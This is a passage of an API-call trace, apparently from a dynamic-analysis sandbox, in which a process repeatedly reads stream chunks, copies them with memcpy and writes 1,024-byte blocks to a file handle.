lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.592] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.592] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.592] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x64, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.592] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.592] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.593] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.593] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x89, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.593] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.593] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xfc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.593] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.593] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.593] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.593] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.593] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7e, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.593] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.594] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.594] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xcc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x11, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.594] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.594] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.594] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.594] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7f, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.594] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.594] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.594] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.594] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.595] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.595] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.595] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xb9, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.595] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.595] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x48, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.595] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.595] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.595] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.595] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.595] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.595] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.595] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.595] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.595] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.595] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.596] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.596] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.596] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.596] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.596] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.596] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.596] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.596] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.596] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.596] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.596] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.596] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.596] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.596] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.596] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.596] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.596] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.596] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x66, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x52, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.597] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.597] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xfe, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.597] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.597] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf5, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xe8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.597] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.597] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x59, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.597] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.597] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.597] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.597] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xd0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.598] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.598] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.598] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.598] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x66, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.598] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.598] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.598] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.598] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.598] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.598] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.598] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.598] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xd0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.598] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.598] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.598] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.599] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.599] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7d, 